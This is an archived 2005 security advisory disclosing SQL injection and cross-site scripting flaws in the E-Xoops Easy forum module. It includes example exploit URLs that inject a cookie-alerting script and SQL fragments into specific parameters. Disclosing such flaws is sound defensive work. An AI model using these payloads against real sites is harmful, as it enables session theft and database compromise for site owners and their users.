[UNIX] E-Xoops Easy SQL Injection and Cross Site Scripting

From: SecuriTeam (support_at_securiteam.com)
Date: 03/31/05

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    Date: 31 Mar 2005 10:27:53 +0200
    
    

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      E-Xoops Easy SQL Injection and Cross Site Scripting
    ------------------------------------------------------------------------

    SUMMARY

    " <www.exoops.info> XOOPS is an extensible, OO (Object Oriented), easy to
    use dynamic web content management system written in PHP. XOOPS is the
    ideal tool for developing small to large dynamic community websites, intra
    company portals, corporate portals, weblogs and much more."

    SQL Injection and Cross Site Scripting vulnerabilities have been found in
    E-Xoops Easy Community Management System Forum System. These
    vulnerabilities can be exploited by potential attackers to compromise
    system's database integrity and/or execute malicious code in context of
    Internet browser of users visiting the site.

    DETAILS

    Vulnerable Systems:
     * Community Management System Forum (E-XOOPS)

    Cross Site Scripting:
    Flaws in user input validation make viewforum.php vulnerable to Cross Site
    Scripting attacks:

    Examples:
    http://localhost/modules/newbb/viewforum.php?sortname=p.post_time&
    sortorder=ASC
    &sortdays=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&forum=25&refresh=Vai
    http://localhost/modules/newbb/index.php?viewcat=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

    SQL Injection:
    Lack of filtering of user provided input allows SQL Injection:

    Examples:
    http://localhost/modules/newbb/index.php?viewcat='SQL_INJECTION
    http://localhost/modules/sections/index.php?op=viewarticle
    &artid=9%2c+9%2c+9

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:dcrab@hackerscenter.com>
    Dcrab.
    The original article can be found at:
    <http://icis.digitalparadox.org/~dcrab>
    http://icis.digitalparadox.org/~dcrab

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